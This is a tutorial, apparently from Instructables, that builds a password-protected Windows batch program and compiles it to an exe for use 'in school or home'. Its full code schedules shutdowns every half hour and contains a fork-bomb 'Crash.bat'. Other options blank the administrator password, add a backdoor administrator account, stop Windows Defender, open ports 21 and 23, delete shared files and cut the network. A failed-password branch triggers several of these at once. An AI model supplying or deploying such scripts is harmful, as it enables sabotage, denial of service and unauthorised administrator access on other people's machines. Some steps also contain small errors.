Introduction: Small Program(Useful)

In this instructable I will show you how to make a small program that I find to be extremely useful in school or home depending on what your wanting to do with it.


This was posted for educational purposes only, I am not to be held responcible for any inappropriate usage of this information or the files that I may have provided. I am not to be held responsible for individuals or groups of people that suffer consequences of using this information or the files that I provided, these consequences include things such as expulsion, getting fired, or legal action.

Step 1: Create a Password for the Program

This program will be made using batch scripting and then later will be compiled into exe form. So the first thing we need to do is open notepad. The first script will be this one to make a password.

@echo off
color 0a
set try=3 //Replace three with the amount of password entry tries that you wish to allow .
:retry
cls
echo Enter Password
set /p password=
if %password%==shadow goto start /replace shadow with the password of your choice pause
set /a try=%try%-1
echo %try%
if %try%==0 echo Access Denied, you will now be terminated,.
if %try%==0 goto wrong // I did set a punishment for the incorrect password which you will see later on.
echo Incorrect password. You have %try% attempts left.
pause
goto retry

Step 2: Create the Starting Screen and Menu

This script will make the starting screen that the program will go to if the correct password was entered. Also, we will be making the program options with this script.

:start
cls
ECHO 1 - Launch AT's
ECHO 2 - Launch Crash
ECHO 3 - Unlock Administrator
Echo 4 - Delete Public Files
ECHO 5 - Create User S
Echo 6 - Disable Windefend
Echo 7 - Disable Internet
Echo 8 - Enable Internet
Echo 9 - Enable Windefend
Echo 10 - Delete At's
Echo 11 - Delete S
Echo 12 - Command Propmt
ECHO 13 - Logoff
ECHO 14 - Shutdown
ECHO 15 - Exit

set input=
set /p input=(Select a number)
IF %input%==1 goto At
IF %input%==2 goto Crash
IF %input%==3 goto Unlock
IF %input%==4 goto Delete
IF %input%==5 goto User
IF %input%==6 goto DWindefend
IF %input%==7 goto DInternet
IF %input%==8 goto EInternet
IF %input%==9 goto EWindefend
IF %input%==10 goto DAT
IF %input%==11 goto DS
IF %input%==12 goto Command
IF %input%==13 goto Logoff
IF %input%==14 goto Shutdown
IF %input%==15 goto Exit

Step 3: AT Shutdown

This is the script that will be used with the launch AT's option of the program. What this script does is adds AT's to a computer that will launch a shutdown command every half hour of every day.


:AT
at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 0:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
goto start
CLS

Step 4: Crash

This is the script that will be executed with the Launch crash program option. What this script will do is create a file on the computer that will continuously open 6 command prompts at at time in an endless loop if it is opened and then opens it.

:Crash
echo>>Crash.bat @echo off
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start Crash.bat
start Crash.bat
goto start
CLS

Step 5: Unlock Administrator

This script is the one that will be executed with the Unlock Administrator option of the program. What this script does is removes the password on the administrator account if there is one.

:Unlock
echo enter | net user administrator *
goto start
CLS

Step 6: Delete Public Files

This is the script that will be executed with the Delete Public Files option of the program. What this script does is deletes everything in the public folder, which will delete icons that are shared with different users desktops.

:Delete
if exist public echo Y | del public
goto start
CLS

Step 7: Create User S

This is the script that will be executed with the Create User S option of the program. What this script does is creates an administrator account on the computer named S. You can replace the giant number with a password of your choice for the account.

:User
net user S /add /passwordchg:no 56927101191
net localgroup administrators S /add
goto start
CLS

Step 8: Disable Windefend

This is the script that will be executed with the Disable Windefend option of the program. What this script does is disables windows defender and opens ports 23 and port 21 on the computer.

:DWindefend
sc stop windefend
netsh firewall set portopening tcp 23
netsh firewall set portopening tcp 21
goto start
CLS

Step 9: Disable Internet

This is the script that will be executed with the Disable Internet option of the program. I think this script speaks for itself.

:DInternet
ipconfig /release
goto start
CLS

Step 10: Enable Internet

This is the script that will be executed with the Enable Internet option of the program. This script also speaks for itself

:EInternet
ipconfig
ipconfig/renew
goto start
CLS

Step 11: Enable Windefend

This is the script that will be executed with the Enable Windefend option of the program. This script will enable or re-enable windows defender.

:EWindefend
sc start windefend
goto start
CLS

Step 12: Delete S

This is the script that will be executed with the Delete S option of the program. This script will delete the account S if you used the Add User S option beforehand.

:DS
echo y |net user s /delete
goto start
CLS

Step 13: Logoff

This is the script that will be executed with the Logoff option of the program. This one obviously speaks for itself.

:Logoff
cd C:\WINDOWS\System32
logoff.exe
shutdown -l
goto start
CLS

Step 14: Shutdown

This is the script that will be executed with the Shutdown option of the program. This one also speaks for itself.

:Shutdown
Shutdown -s -t 0
goto start
CLS

Step 15: Delete ATs

This is the script that will be executed with the delete ATs option of the program. This script will delete the Ats if you added them beforehand.

:DAT
at /delete /y
goto start
CLS

Step 16: Command Prompt

This is the script that will be executed with the Command Prompt option of the program. This script will open Command Prompt

:Command
start command.com
goto start
CLS

Step 17: Exit

This is the script that will be executed with the Exit option of the program. This script will exit the program

:Command
start command.com
goto start
CLS

Step 18: Wrong Password Script

This is the script that will be executed if the wrong password was entered how ever many times that you set the amount of tries to. This will add the ATs to a computer Disable the Internet and Windows Defender then Shutdown the computer. I made this just as a failsafe if anyone ever gets a hold of the program that you don't want to.


:wrong
at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 0:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
ipconfig /release
sc stop windefend
shutdown -s -t 0
exit
CLS

Step 19: Final

Now your final script should look like this. Remember to save this as a batch file, in order to do so just add .bat after the files name while saving. Then use the Bat to Exe converter that I included.

@echo off
color 0a
set try=3
:retry
cls
echo Enter Password
set /p password=
if %password%==shadow goto start
pause
set /a try=%try%-1
echo %try%
if %try%==0 echo Access Denied, you will now be terminated,.
if %try%==0 goto wrong
echo Incorrect password. You have %try% attempts left.
pause
goto retry

:start
cls
ECHO 1 - Launch AT's
ECHO 2 - Launch Crash
ECHO 3 - Unlock Administrator
Echo 4 - Delete Public Files
ECHO 5 - Create User S
Echo 6 - Disable Windefend
Echo 7 - Disable Internet
Echo 8 - Enable Internet
Echo 9 - Enable Windefend
Echo 10 - Delete At's
Echo 11 - Delete S
Echo 12 - Command Propmt
ECHO 13 - Logoff
ECHO 14 - Shutdown
ECHO 15 - Exit

set input=
set /p input=(Select a number)
IF %input%==1 goto At
IF %input%==2 goto Crash
IF %input%==3 goto Unlock
IF %input%==4 goto Delete
IF %input%==5 goto User
IF %input%==6 goto DWindefend
IF %input%==7 goto DInternet
IF %input%==8 goto EInternet
IF %input%==9 goto EWindefend
IF %input%==10 goto DAT
IF %input%==11 goto DS
IF %input%==12 goto Command
IF %input%==13 goto Logoff
IF %input%==14 goto Shutdown
IF %input%==15 goto Exit

:AT
at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 0:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
goto start
CLS

:Crash
echo>>Crash.bat @echo off
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start
echo>>crash.bat Start Crash.bat
start Crash.bat
goto start
CLS

:Unlock
echo enter | net user administrator *
goto start
CLS

:Delete
if exist public echo Y | del public
goto start
CLS

:User
net user S /add /passwordchg:no 56927101191
net localgroup administrators S /add
goto start
CLS

:DWindefend
sc stop windefend
netsh firewall set portopening tcp 23
netsh firewall set portopening tcp 21
goto start
CLS

:DInternet
ipconfig /release
goto start
CLS

:EInternet
ipconfig
ipconfig/renew
goto start
CLS

:EWindefend
sc start windefend
goto start
CLS

:DS
echo y |net user s /delete
goto start
CLS

:Logoff
cd C:\WINDOWS\System32
logoff.exe
shutdown -l
goto _start
CLS

:Shutdown
Shutdown -s -t 0
goto start
CLS

:DAT
at /delete /y
goto start
CLS

:Command
start command.com
goto start
CLS

:Exit
EXIT

:wrong
at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 0:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:30 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
ipconfig /release
sc stop windefend
shutdown -s -t 0
exit
CLS